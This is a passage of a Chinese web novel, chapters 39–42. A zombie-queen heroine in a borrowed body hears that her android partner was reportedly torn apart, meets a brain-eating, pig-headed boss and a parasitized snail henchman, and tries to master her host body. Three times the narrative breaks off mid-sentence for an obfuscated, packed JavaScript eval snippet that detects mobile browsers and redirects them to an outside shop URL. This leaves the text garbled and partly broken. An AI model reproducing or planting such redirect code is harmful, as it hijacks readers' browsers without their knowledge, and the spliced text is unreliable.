跟这只老狐狸相比,韩青实在像是一张莽撞的白纸,如果不是她姥姥韩教授力挺,她真的能稳坐刑侦部部长的高位吗? 就在这时,张彬的声音再次响起:“好了,这才哪儿到哪儿呢,真没种。剩下的各位,马上就到你们了哦,别急,一个个来,都会轮到的。嘻嘻,害怕呀,就没有主动报名的吗?” “我!”韩青举手。 “你疯了!你不能注射。”舒厌在私人频道大声喊。 韩青却无所谓地说:“废话!我才不想变成那种玩意儿或者炸成一滩肉泥!舒队,我知道你全身都是高科技,僵尸血肯定对你没用,你通过筛查之后,正好看看他们的老巢。你进去了,我们才能里应外合。” 舒厌:“……这话本来是我想对你说的,那行吧,你先逃。” 交流在瞬息间完成。 公鸭嗓兴奋地搓着手:“彬哥,你搞来的女人还挺对味嘛。可惜了呀。” 张彬却并没有他的小弟那么开心,他仔细端详着韩青,阴恻恻地摆手:“不,先给她那个小白脸姘头注射。” 39.阴兵小强⑩ 夜色褪去,天光渐明。 宽敞而冰冷的高级公寓里,没有一丝属于人类的温度。在懒人被掳走之后,整个屋子落针可闻,让人一踏进去就想马上走出来,比蚩蓠以前睡过的任何一个棺材板都不舒服得多。 至于智能人格舒无悔,在蚩蓠回来之后直接装死。 无人说话,蚩蓠不是没想过又找几个仿生男模解解闷,可是自打跟「归零」敞开聊过以后,内心空虚得紧,纸醉金迷恐怕只会雪上加霜。 也不知道怎么了,对那些只会恭维她的男人,她突然提不起兴趣了。 耳边仿佛响起舒厌的若有似无的笑声,蚩蓠打了自己一巴掌,摇了摇头。七个多小时以前,也就是晚上十点多的时候,舒厌问她审查结果,她只回答了四个字「审查过了」,接着便再无回应。 她没有给舒厌发消息,舒厌也没有给她发消息。 一整晚,这个臭男人居然都没有回家! 他和韩青正大光明拜访当康基因寻求帮助,就算当康有问题,也总不可能当场就将他们扣押了吧?! 她相信当康基因不可能这么做,舒厌和韩青在联邦虽然只是中层干部,但韩青背后有韩教授的势力,猎尸队又是一个极其特殊的部门,职级不高但对联邦至关重要。掳走他们俩,相当于跟联邦撕破脸,与宣战无异。 可是…… 数不清这已经是第多少次举起智脑查看消息了,明明有提示音,可她还是不甘心地点开了一遍,又一遍。 该不会,真的出事了吧? 这两天对于舒厌来说固然称得上发生了巨大变化,算作人生转折也不为过,可他一直属于性格沉稳那类,在任务时效上一丝不苟,在作息和自我约束上向来令人发指……不不不,或许他这副样子一直都是装的,得知真相后,他干脆放飞自我,自甘堕落,纸醉金迷,蝴蝶飞飞。 蚩蓠没忍住,通过寒黎的通讯录联系了各大高档娱乐会所的老板,经过一个多小时的彻查之后,毫无线索。 智脑的通讯界面被调出,又最小化,再调出,再小化。 最终,蚩蓠还是点开了与“大活好绝世美男”的对话框,发了条冷冰冰几乎能硌伤人的消息:「当康基因调查进度?」 没有称呼,没有寒暄,甚至没有完整的句子,就像上级质问下级,完全公事公办的口吻。 发送成功。然后,便是令人心烦意乱的等待。 没有任何回复。 出于某种难以言喻的原因,她没有问韩青他们是否还待在一块儿。 蚩蓠试图将注意力拉回手头的文件上,也就是关于她自身审查结果的后续流程报备。这是她第一次在非办公场所、非办公时间处理和工作有关的事情。 可不管她做任何事情,思绪却总像被无形的线牵绊,缠绕着引向那个杳无音讯的合作者。 “只是合作者而已。”她在冷嗤一声,“仅此而已。” 大可不必联系青魇派出各种分。身侦查他的下落,更不能找仇怜央,否则她从里到外都要被焊死在寒黎这个“花痴”的名号里了。 要不然,偷偷使用寒黎的权限,定位舒厌的智脑信号? 不行不行,要是被他知道,那更不得了。 他会笑话她吧?他肯定会。 时间在沉默中煎熬地流淌。窗外的天光从昏黄转为苍白,再然后,渐渐染上了一抹淡蓝。 已经八点半了,蚩蓠收拾好东西,第一次提前半小时便赶到了工位。 没人,还是没人。 蚩蓠的心逐渐下沉,她不喜欢这种脱离掌控的感觉,尤其当脱离掌控的是舒厌这个人。 「看到回复。」 第二条信息发送出去,依旧石沉大海。那死寂的对话框,像一张嘲讽的巨口,吞噬了她所有故作镇定的借口。 她站起身,走进舒厌的办公室,关上门,封闭的房间让她产生了一种错觉,仿佛两个人可以通过这种方式跨越时空重聚。 她俯瞰着下方如蚁群般穿梭的车流与行人,城市的脉搏依旧强劲,她似乎能听到自己胸腔里逐渐加速的声音,不知不觉间,蚩蓠已经动用仇怜央之前授权给寒黎的权限,开始查找舒厌智脑和韩青的定位。 他们最后出现的地点正是当康基因的展区,时间是昨晚十点,再之后,便消失彻底失去了信号。 那个要假死在她手上的男人,用这种恼人的方式,在她紧密防备的世界里,掐开了一道微不可查的缝隙。 现在,这道缝隙里灌进来的,是名为“担忧”的冷风。 就在蚩蓠准备按下内部通讯键,打算联系仇怜央调用小队前往信号消失点进行搜索时,办公室外传来了一阵激烈的骚动。 “快!快联系署长!紧急情况!”一个嘶哑疲惫的女音穿透门板传来。 门被猛地推开,只见几乎不成人形的韩青,在两名医护人员的搀扶下,朝同层的仇怜央办公室直奔而去。 韩青整个人像是从地狱里爬出来的,根本无法想象一个正常人在受到此种程度的伤害后,要怎样才能坚持着不倒在地上。 而最刺眼的,是她身边空无一人。 “韩部长?”蚩蓠的声音依旧维持着平稳,但只有她自己知道,这平稳的冰河之下,冰层有多容易崩裂,“发生了什么事?舒厌呢?” 听到“舒厌”两个字,韩青像是被瞬间抽走了所有力气,如果不是医护人员的搀扶,她恐怕已经瘫倒在地了。 韩青满是血污的脸上,唯有一双眼睛亮晶晶的,蚩蓠想要擦清楚自己的双眼,来确定那不是眼泪。 “……舒队他……他死了……”韩青眼中反光发亮的东西终于砸在脸上,在血污中冲开一条惨白的道路。 空气凝固了。 蚩蓠觉得她封印在血棺里的时候,浑身都没有此刻僵硬。 “怎么回事?”她的声音低了下去。 门外的躁动终于惊动了偌大办公室里的仇怜央,他听到门口的对话,打断了想要继续说话的韩青,急忙安排医护人员说:“你们俩将韩部长抬到我的专属修复舱里,有什么事稳住身体再说。” 不同于署内医护室,署长有自己的专属医疗设施, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595031|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就安排在他的办公室内。 蚩蓠也跟着走了进去。 医护人员将韩青整个人泡在营养液中,只露出一张脸,韩青身上的伤痕以肉眼可见的速度开始修复。 “韩青,现在你可以开始说了。”仇怜央站在修复舱之前,神情是前所未有的严肃。 韩青深吸一口气,许是伤势过重,在顶尖营养液的充盈下,她的身体依旧虚弱,断断续续地开始回忆昨晚发生的事情:“……那个叫张彬的叫舒队长先接受注射,舒队答应了,结果……结果那根本不是僵尸血,我们太大意了,张彬他们恐怕早就知道我们身份了……” “舒、舒队他刚被注射了一点点,就发现不对劲了!他当场毁坏了铁笼,我也知道计划暴露了,只能拼命……”韩青的声音依旧哽咽,“我跟他砸坏了第二批测试的所有设施,就在我们想要带着医疗废弃箱冲出去的时候……突然闯进来一个人……他戴着黑面具……” 听到“黑面具”三个字,蚩蓠的心揪得更紧了。 他们误打误撞找到异能实验室有关线索,根本就是羊入虎口,本来安排给她这个“红面具”干的活,让“黑面具”抢走。舒厌这回假死不成,难道真的当场送命了吗? 她根本不在乎整个过程到底发生了什么,不在乎僵尸蟑螂是否从此处诞生,不在乎这个组织从事异能实验的目的。她只在乎一件事,想打断韩青,想直接问她:你真的亲眼看到舒厌脑中的芯片也被毁了吗? 她强压下这股冲动,几乎是咬着舌尖在听韩青的叙述。 “那个黑面具,他……他太强了!我们根本不是对手……舒队他为了救我,把我推开,让我快跑……他让我回来报信……” 韩青用力吞咽喉头的滚烫,几乎无法继续,好几秒之后,才咬着牙艰难道:“我回头……我回头看到……那个黑面具……他、他当场就把舒队……撕成了碎片……就在我眼前……什么都没了……我连一个手指头都没能带回来……” “没了”两个字,仿佛最终判决的槌音,重重敲在蚩蓠的耳膜上。 她站在原地,一动不动。 仇怜央对韩青、对她的安抚声……所有声音都仿佛隔着一层厚厚的玻璃,变得模糊而遥远。 她的世界,在“没了”两个字出口的瞬间,万籁俱寂。 眼前似乎闪过一些破碎的画面,舒厌明明欣赏却克制的笑,他知她身份看她伪装的无奈,他声称要“假死在她手上”时眼底深处难以捉摸的光…… 现在,他真的死了,却不是以他们约定的方式。 舒厌被撕碎的画面,以一种蛮横的姿态,占据了她所有思绪。 她甚至懒得去想,在这种情况下,寒黎会做出何种行为,她现在的举动会不会暴露身份。 一股暴戾的怒火,毫无征兆地取代了最初的空洞。 他承诺过的,要“死在她手里”。 这是他们之间的契约,独属于他们两人的结局。现在,竟被一个不知所谓的“黑面具”用如此粗暴的方式毁了? 舒厌,谁允许你,死在别人手上?! 40.万虫归宗① 空气中还弥漫着修复液和血腥气混合的苦涩味道。 韩青压抑的哽咽声,一下一下,反复凿击着蚩蓠看似平静的外壳。 自走进仇怜央的办公室以来,她便一言不发。仇怜央深知母亲状态不对,刚想开口安慰,却见蚩蓠直接转身走了出去。“唉!您也别太难过了。”眼下有太多细节还需要韩青确认,仇怜央只得暂且把母亲的情绪搁置一旁。 蚩蓠倒不是真的想一个人静静,她得找一个合适的地方,再次跟归零聊聊。 黑面具、红面具、白面具……这些奇奇怪怪的代号填满了她的脑子。如果说最开始因为信息不足,她制定的计划过于简单被动,那么现在,也是时候放下对归零的成见,来一场互惠互利的交易了。 然而,就在她关上舒厌的办公室门的那一刻,智脑传来了一条新的加密信息:「红面具,晚上十二点,老地方复命,另有任务交办。PS:黑面具已经除掉舒厌,你应已知晓。」 「明白,晚上见。」蚩蓠不假思索便做出了回复。 她比任何时候都更期待与这个神秘组织的人会面。 心跳变得异常平静,如同昨晚一般,她戴上耳机,闭上双眼,让意识沉浸在空无之中:「归零,有事找你。」 很快,识海传来了那个熟悉的女声:「蚩蓠,我在,你说。」 「我想通了,你昨晚提出的三个指示,或者说要求,我可以答应你。」 「很好。蚩蓠,我很开心。你一定有需要我帮忙的地方吧?」 蚩蓠不禁微微一笑:「你很懂啊。但是我在说出请求之前,有些事情得厘清。你叫我不要离开不夜穹窿、小心土壤,这都没问题。但是跟夜璃合作,不是我想不想,是她愿不愿意的问题。假如,我是说假如,要是她执意取我性命,你,会不会站在我这边,帮助我夺取她的力量?」 这一次,归零沉默的时间,已经远远超出了一个人工智能应该有的反应速度。 见对方迟迟未答,蚩蓠苦笑:「夜璃现在应该在城外吧?如果我不能离开不夜穹窿,那就必须让她进城。可她要是进来了,你应该能预见这里将会发生什么。」 「好,我答应你。」归零终于下定了决心,「如果出于必要的考虑,将来某一天我不得不站在她的立场,我会提前告诉你。」 「当然,我理解,也谢谢你如此坦诚。」蚩蓠语气平静,「虽然不清楚‘酸雨’是何种神秘恐怖的东西,但你昨晚的意思,似乎是想要集结一切可以集结的力量,共同对抗祂?」 归零:「是的。」 蚩蓠:「那好,现阶段我们的目标是一致的。只有我的本体解封,我方力量才能得到极大强化,你认同吧?」 归零:「同意。」 蚩蓠:「那就请你,全力帮助我实现这个目标。」 …… 将近午夜十二点,在归零的指引下,蚩蓠来到巨墙最深的阴影之下。 这里光照稀薄,没有城防军把守,远离居民区,是一片荒芜至极的沼泽地。 沼泽深处立着一栋黑漆漆的房子,正是这个神秘组织所谓的“老地方”。如果不是戴着夜视眼镜,又有归零精准导航,哪怕是熟悉这个地方的人,恐怕也得耗费不少时间才能找到。 蚩蓠悄无声息地现身,见之前抢走郑有德的“白面具”就站在黑房子的院子门口,似乎是在把守。 “嗨!”她突兀地喊了一声。 谁知白面具看到她像是被吓了一跳,突然收紧斗篷,将镰刀横挡在身前,动作迅疾,满是杀意,竟一言不发就朝蚩蓠袭来。 来不及细想,蚩蓠向后一仰,闪腰避开。 白面具镰刀挥舞,大开大阖,丝毫不给她喘息的机会,招招都往死里砍,哪里像同一个组织共事的。 蚩蓠不禁怀疑自己身份已然暴露,这是自投罗网来了。 「归零」,她边躲闪边问,「这是怎么回事?」 「他的问题。」 归零简明扼要,但蚩蓠没听懂:「嗯?」 到底披着“红面具”的身份,蚩蓠不打算像上次跟白面具交手那样,过于暴露自己的实力,还是以防守为主。 不料,白面具可不是这么想的:“你是联邦的人!怎么找到这里的?!快说!” “啊?!”蚩蓠这回可真的懵了。 突然,白面具倾身向前,斗篷下的面具“咔嚓”一声,自动从中间裂分为二,上次蚩蓠将其割开时白面具分明还很紧张,这回却要主动露脸了吗? 她分明记得这张面具下的脸什么五官都没有,这是要干啥? 说实话,哪怕白面具动作已经快得接近残影,但在蚩蓠看来也比蜗牛快不了多少,她用寒黎惯用的娇嗲语气说:“蜗牛先生,你好慢诶,这样变脸可是没有观众的哦~” 哪想,白面具听到这话简直要气疯了,面具彻底裂到耳朵两侧,正在疯长的五官仿佛就要从半透明的面皮中冲出来了。 蚩蓠的高级夜视镜之下,周围的一切都染上了正常的色彩,白面具面皮底下的一对拳头大小的眼柄,终于冲破束缚,摇摇摆摆地探出了来,突然,那对五彩斑斓的眼柄就这么有节奏地前。前。后。后。耸。动。起来。 蚩蓠看花了眼,几乎整个人都愣住了。 电光石火之间,脑子仿佛突然被猛地电击,原来是归零的提醒:「你中招了!」 蚩蓠急急摆头后退,这才险险躲过白面具满是牙齿的口器。 原来,刚才那并不是眼柄在耸动,是眼柄里的带管状花纹的绿色吸虫,正在以诡异的频率像弹簧似的拉长收缩。 白面具的面皮之下,居然是一对被双盘吸虫寄生的蜗牛! 千年前,这种被吃空大脑的蜗牛被称为“僵尸蜗牛”,是双盘吸虫用来诱捕鸟类的惯用寄生体。 “别给我看你这张脸!”蚩蓠压抑着恶心,以比白面具快数倍的速度,抢过对方的镰刀,然后毫不犹豫对着他那对看似蠕动眼柄就是一挥。 “够了。”突然出现的声音打断了蚩蓠强势的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603593|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反攻。 她堪堪止住力道,镰刀已经紧紧挨在眼柄的末端,只差一点便会鲜血四溢。 来人穿着考究的西装,却顶着一颗醒目的猪头,硕大粉红的猪鼻子几乎占据了整张脸四分之一大小,一对蒲扇似的大耳垂在脸颊两侧。 如果忽略这颗鼻子的话,他眉眼间的五官倒是有几分雌雄莫辨的俊美,可惜了。 “这位就是‘红面具’。蜗蜗,戴上你的面具。”猪头鼻命令道。 蜗蜗,想必是白面具的真名。 猪头鼻说话的口吻,说明他的地位肯定比蜗蜗高。实际上,蚩蓠有个或许很可能接近真相的猜测,所谓“当康”,“状如猪而有獠牙”【1】,猪头鼻没准正是当康基因的创始人——朱康。 蚩蓠将镰刀扔回给蜗蜗,戏谑道:“上次你打不过我,这次就用真身来吓人吗?” 蜗蜗一手接过镰刀,另一只手合上面具,他虽然没有人类的正常五官,但那动作显然写满了心不甘情不愿,语气更是委屈巴巴:“原来你就是‘红面具’,可恶。我的「诱捕」居然对你没用。” 蚩蓠挑眉:“「诱捕」是你的异能吧?用那对恶心的眼柄迷惑人,然后吃掉对方的头?” 之前从蜗蜗手中“逃走”接受审讯时,喻风有提过,在江恨白押解他的胞弟回能源控制署的途中,遇到了蜗蜗,对方吃掉了猎尸队通行的其他成员的头。 还没等蜗蜗回答,蚩蓠又嗤笑了一声:“你的品味不怎么样嘛。” “回屋里说。”猪头鼻打断了他俩的冷嘲热讽,走在前头先行一步。 蚩蓠和蜗蜗跟在身后,两人之间隔了至少两米远。快要走进黑房子时,猪头鼻似乎想到了什么,回头冲蚩蓠恶趣味地说:“红,刚才跟蜗蜗打斗,你怎么不用‘虫师’的异能?” 如果不是夜视眼镜的遮挡,蚩蓠只怕当下的表情会出卖自己。 按理说,夺舍寒黎这具身体,会杀死前一任宿主红面具,但凡红面具跟僵尸沾点边,蚩蓠又怎会不知她的存在,更别提她的异能了,要是这份血脉最终源自自己,她完全可以为己所用。可是红面具是僵尸?还拥有虫师的技能?她完全没有感知到。 当下,蚩蓠只是无所谓地耸耸肩,扯开一个虚伪的笑容:“那是对付敌人的手段,怎么能用在盟友身上。” 猪头鼻满意地点头:“也是。” 三人走进黑房子,屋内没有一扇窗户,只有零星几根蜡烛上的烛火无风自曳,将家具和摆设的影子拉扯得极长极黑。 猪头鼻很自然地走到餐厅主位坐下,让蚩蓠进一步坚定了先前对他身份的猜测。 他巨大的身躯陷进柔软的餐椅,舒服地坐稳后,用叉子手敲敲高脚玻璃杯,蜗蜗很贴心地从厨房端来一套餐具,替他一一摆好,最后揭开热气腾腾的金属盖,餐厅顿时香气四溢。 蚩蓠已经摘掉了夜视眼镜,她尽量低着头不让猪头鼻和蜗蜗发现自己的表情,只因那盖子底下,光洁瓷白的餐盘上,是一颗布满血丝的完整大脑。 41.万虫归宗② 猪头鼻跟个土丘似的,隔着长长的餐桌,在蚩蓠面前投下一道阴影。 随着脑子越吃越多,他的身体开始以肉眼可见的速度膨胀,慢慢从土丘变成了一座小山,座下加宽了数倍的椅子还是逐渐承受不住,发出吱呀吱呀的惨叫。 蚩蓠只感觉笼罩着自己的阴影越来越大,有如实质一般,向她压下沉沉重量,最终将她整个人包裹在密不透风的黑暗之中。 再抬头,猪头鼻的头顶离天花板不过一臂距离,整个人几乎将餐厅填得满满当当的,再配上那张脸,看上去果真跟个特大号的猪无异了。 “呼——”她长长吐出一口气,见对方吃得差不多了,想开口直入主题,“您……” 还没等蚩蓠继续,猪头鼻边抹嘴边将餐盘推到桌子的另一侧:“每次都叫你们看着我吃,我这个老板当得好像不太有人情味呀。红,蜗蜗,来,你们也尝尝。” !!! 什么鬼!不要啊! 在猪头鼻身侧忙前忙后的蜗蜗却高兴得面具都要裂开了:“主人您真好,谢谢主人!”说完也不矜持一下,拖开椅子往上一坐,举起刀叉就往脑子上切去。 蜗蜗也是厉害,就这么软糯糯的一坨,他居然毫不费力就用叉子叉了起来,举到嘴边时,那面具像平开门一样,打开二指宽大小,满是尖牙的口器向前一探,叉子上的脑组织碎片便“滋溜”没了。 被这场面恶心了挺久,蚩蓠才闻到餐盘里所散发出来的,并不是普通人类新鲜脑组织所特有的腥味,而是一种死去多时、衰败但不朽的尸味。 这些都是僵尸的脑子。 喉头忍不住向下一滚,蚩蓠吞了口唾沫,绝不是因为嘴馋。 僵尸舒厌的脑子,可千万不要就这么被吃掉了啊。 见她站在那儿迟迟不动,猪头鼻便笑着说:“红,还是不喜欢这味道吗?” “哈哈,是,是不太习惯这味道。不过还是谢谢您了。”蚩蓠见机道,心理却想可千万别是试探她的。 她没有称呼对方为主人,是因为猪头鼻对她的态度不像对蜗蜗,他并不把红面具当作下人。可她也不确定是否应该将其称之为“老板”,既然完全没有继承红面具的任何记忆,蚩蓠打算将“您”这个称谓用到底。 想来喜欢吃僵尸脑子的人应该还是少数,猪头鼻并不勉强她,细细擦干净口鼻处的血渍和脑组织残渣,吃饱喝足打了个响嗝,懒洋洋地说:“我这具身体最大的好处就是不用节制食欲,稍微饿一顿尺码都能缩小好几圈。你看看你,把你安排进这具身体才几个星期,好像胖了不少。” 蚩蓠想起那六碗猪头粉,好像是放纵过头了,她尴尬地笑了笑。 “不过也没关系,身体嘛,不重要。”猪头鼻的手微微一动,椅子、桌子连带餐具都跟着晃了起来。 “这儿才是最重要的。”他指着自己那个比正常人大上七八倍的脑子,表情变得有些严肃,“稳住你的身份,不要被联邦抓到漏洞。仿生人舒厌的事情黑面具已经替你解决了,接下来有一件更重要的事情需要你来做。这件事,没有人比你更合适了。” 按捺住想要直接问仿生人舒厌和黑面具的心思,蚩蓠点点头:“您说。” “那个叫韩青的居然逃回了能源控制署,实验室的秘密肯定守不住了,但是联邦应该还没有证据将实验室的事情跟我们联系到一块。实验室和相关物料我已经派人销毁了,但是那些蟑螂,必须彻底铲除,一个不留。” 早上从遍体鳞伤的韩青那里听到实验室和蟑螂的关系,蚩蓠并没有很吃惊,她很早就感知到这些僵尸蟑螂的能量本源非常混乱复杂,跟郑有德一样,核心力量来自夜璃,但还参杂了很多其他的东西,这些东西绝对不是自然的产物。就算不是人为制造,僵尸蟑螂也绝对跟实验一类脱不了干系。 猪头鼻或者说朱康,应该是担心联邦通过这些蟑螂,反向追查出跟异能血液有关的事情,这些或许正是当康基因的核心机密。 之前朱康问她为什么不使用“虫师”的异能,想来红面具应该可以操控这些蟑螂,所以才说她是最合适的人选吧。 只可惜她完全不知道怎么用。 “明白。”蚩蓠继续点头,装出一副一切尽在我掌控之中的样子。 “这件事非常重要,必须越快销毁越好。”朱康抬起肥大的手腕,那块嵌入他皮肤的智脑发出微微莹光,他将目光从智脑移向蚩蓠,带着属于大领导特有的信任神情,郑重地说,“还有五个小时就天亮了,红,你应该能完成吧?” 午夜十二点赶到这座黑房子,蚩蓠眼睁睁看着朱康吃了一个小时的僵尸脑子,结果就给自己领了这么个需要通宵完成的任务,她真是服了这些当老板的。 “当然,您交办的事情,我一定拼尽全力按时完成。”蚩蓠干巴巴地说,“杀死仿生人舒厌的事情原本计划一周完成,实际过了一天多还没有进展,让您费心了。也谢谢您让黑面具助我一力。” 听到这话朱康似乎不太高兴,又挪了挪椅子,换了个让自己稍微舒服点的坐姿:“红,说话不要这么阴阳怪气。好了,我又没让黑面具抢你的活,舒厌他们找到实验室纯属意外,黑面具只是刚好过去处理问题而已,撞上顺带解决了。” “哦,这样啊。”蚩蓠还想套出更多有关舒厌的信息,又担心自己身份暴露,只得佯作对黑面具很感兴趣的样子,“黑面具他……就算只是顺手解决的,我还是得亲自谢谢他的。” 朱康眯起眼睛看着蚩蓠,语气里满是警告的意味:“红,你忘了刚才在门口说过的话了吗?我们是盟友,不是竞争对手,更不是敌人。” “明白的。”蚩蓠低头,做出一副想要拼命掩饰委屈的样子,“我不是想找黑面具的麻烦,更不会将他视为竞争对手,只是舒厌比狐狸还狡猾,是不是真的死了还不知道,我怕黑面具被骗而已。” 刚才给了一记大棒不奏效,朱康决定改用胡萝卜安抚。这还是他第一次见识到什么叫宠妃吃皇后的醋,脸上瞬间变换出和颜悦色:“唉,红,你和黑面具,你们俩是我的左膀右臂,少了一个都不行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16634770|181112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这样吧,你要是真的担心舒厌还没死,处理完那些蟑螂之后,我会让黑面具去找你的。” “好,谢谢您。”蚩蓠似乎终于放下了倔强的一面,“那我这就去处理那些虫子。” “嗯。”朱康摆摆手,让蜗蜗送她离开。 说是送,也不过只是替她开了个房门,蜗蜗倚靠在门沿,不服气地啧了一声:“传说中的红面具,原来心眼这么小。” 时间急,任务紧,蚩蓠本来不想理会蜗蜗,翻了个白眼就想走,却听到蜗蜗又在身后嘟囔:“呵呵,黑面具那臭脾气,你们赶紧打一架,到时候我就有戏看了。” “哦?”她停下脚步,蜗蜗在组织中地位肯定没有红、黑面具高,他不知道红面具真身,按理说应该也不知道黑面具才对,可听他这意思,他似乎对黑还挺熟。 “那你觉得,我要是跟他打一架的话,是他会赢,还是我会赢呢?” 黑暗中,蜗蜗的脸色变得极其难看,他阴恻恻地说:“黑的身体素质可比你这副外壳强多了,你只是可以指挥一些低贱的虫子而已。” “你好像忘了一件事,”蚩蓠凑近蜗蜗耳朵,“你也是一条虫子诶。” “不!我不是!”蜗蜗咬牙切齿,“我的主体是蜗牛,才不是那条恶心的双盘吸虫!黑面具用‘基因手术刀’给我治疗的时候,他答应我了的!” “原来他的异能是‘基因手术刀’啊。”蚩蓠摸摸下巴,无所谓地笑笑,“无敌的体能,能把人撕成碎片,听上去确实不太好对付。” 她扬了扬手:“蜗蜗,多谢你的情报。等我处理好那些蟑螂,期待你来看戏。” 说完不再理会身后之人气急败坏怪自己说漏嘴的样子,大步走进了沼泽。 五个小时内消灭阴兵小强大军,说实话,蚩蓠还真不太有把握,至少在跟归零达成结盟以前,绝对实现不了。 「归零,刚才的任务你听到了吧?眼下最重要的,是我如何唤醒虫师的能力,你有什么想法?」 「“唤醒”这个词用得很妙,说明你已经有主意了。」 蚩蓠可没有归零听上去那么轻松,她从头到尾理了一遍思路:「那些蟑螂的本源能力虽然来自夜璃,我无法凭借血脉压制,但是虫师的异能却可以弥补这一点。我在无意中侵蚀了红面具的意识,却并没有发现她是僵尸,更没有继承她的能力,是因为这具身体吧?」 「你猜的没错,这种事情并不罕见。」温柔的女声赞许地笑了笑,「你现在的这具身体经历了太多意识更迭,躯壳与意识的连接变得混乱不堪,为了自保,它建立了类似防火墙的机制,屏蔽了你,你自然看不到有关这具身体的过往。」 「可是上次,我明明梦到了寒黎的事情?」 「你可以理解为防火墙出现了漏洞,但是这个漏洞很快就被补上了。」归零耐心地说。 「行吧,我要怎样才能突破这层防火墙?」 「你无法突破这层防火墙,强行突破甚至可能伤害你自己的意识。蚩蓠,你要做的,是征服它。」 42.万虫归宗③ 如果归零的说法正是标准答案,蚩蓠的猜测也算对了个七七八八。 从前,她总认为躯壳不过只是意识的载体,就像搭载游客的扁舟,可以倾覆游客的只会是江河湖海,或者狂风暴雨,又怎么会是扁舟本身呢。 这个浅薄的观念,在她以寒黎的视角做了那个短暂却又清晰的梦之后,开始动摇。 梦中,她站在窗口,望着远处正在建设的血晶工厂排气柱,冰冷的水泥切割着灰蒙蒙的穹顶。那一刻,她完全沉浸在寒黎的身份里,以寒黎的感官去感受,以寒黎的思维去思考,兢兢业业,忧心忡忡。 那种沉浸感如此真实,以至于当她醒来,属于蚩蓠的记忆回流时,竟产生了一种诡异的剥离感。 她恍然惊觉,躯壳对意识的塑造和羁绊之深,科学界从未真正摸索清楚。 它不仅仅是一个容器,更像是一片土壤,会留下每一个曾经在此驻留过的意识的痕迹,甚至产生它自己的习性和“记忆”。 舒厌……这个笨蛋,她忽然想起梦醒时他说过的话,“人类的肉|身会习得部分意识的记忆”、“一些对命运产生巨大转折的片段更容易让肉|身记住”。 那么像他一样的仿生人,躯壳与意识之间也会有连结吗? 思维的涟漪被周身粘稠的触感打断。她睁开眼,视野里充斥着灌满细小气泡的蓝色药液。此时的蚩蓠,全身赤|裸,每一寸肌肤,每一个毛孔,都浸润在一种名为“肉壳松弛剂”的特殊溶液中。 这是各大医院和诊所常见的医用耗材之一,专门用来麻痹躯壳,混淆躯壳与原意识的连结。它是进行高精度意识转移手术之前,最为关键和危险的术前准备步骤。 离开朱康的黑房子不过半小时,青魇已经以极高的效率,按照蚩蓠的吩咐准备好一切,联系好靠谱的私人诊所,主刀医生也是这么多年信得过的“分|身”。 此刻,这位医生正在蚩蓠躺着的维生舱边忙前忙后,检查各种仪器的读数。 蚩蓠如此安排,颇有些反其道行之的意思。 归零给她的指示是“征服”这具躯壳,但这两个字背后具体该如何操作,那个神秘兮兮的人工智能却语焉不详,更可气的是,它时不时就搞断联,等蚩蓠试图追问细节时,识海中早已没了归零的回应,它“掉线”了。 起初,蚩蓠还会看似不在意青魇和医生的目光,尝试通过自言自语、手舞足蹈之类的方式与躯壳沟通,后来她发现其实自己不需要那么尴尬,在心里默念效果应该也是一样的。 “我知道你在。” “我们并非敌人。” “如果无法接纳我,你知道你的归宿是什么。” …… 然而,并没有什么用。 无论她尝试温和的诱导,还是强硬的威胁,这具躯壳都没有任何反应,既没有变得僵硬以示抗拒,也没有显露出一丝一毫的柔软来表达接纳,更没有如她所期待的那样,反馈红的信息。 这具躯壳的防火墙,隔绝了一切。 既然常规手段无效,蚩蓠决定采取更激进的方式,她要进一步激怒这具敏感的躯壳,刺痛它自我保护的核心。 既然建立起防火墙是因为意识多次更迭,那么,就让它最害怕最不满的事情,再发生一次好了。 蚩蓠想要的不是毁灭,而是在剧烈的冲突中,找到一个可供突破的裂缝。 青魇这个医生分|身非常专业,而且经验丰富,如果不是因为混迹黑市能获得更多明面上搞不到的线索,他应该不至于屈尊于这样一家藏匿在污秽角落的小小诊所。 他的眼睛被一双圆柱状微凸的显微镜义眼所取代,扫描躺在药水中的蚩蓠时,镜片发出细碎的闪光:“通常来说,像这样完美的躯壳,在市场上只会流通一次。要么被有钱又爱美的怕死鬼深度冷冻起来当作备用品储存,要么物尽其用,等到人老色衰,或者对这具皮囊感到厌倦时,才会像丢弃旧衣服一样被抛弃。” 他调整了一下维生舱侧面一个阀门的读数,继续道,“一般只有外城区那些走投无路的底层人,才会因为缺钱,不得不一次又一次出卖躯壳。” 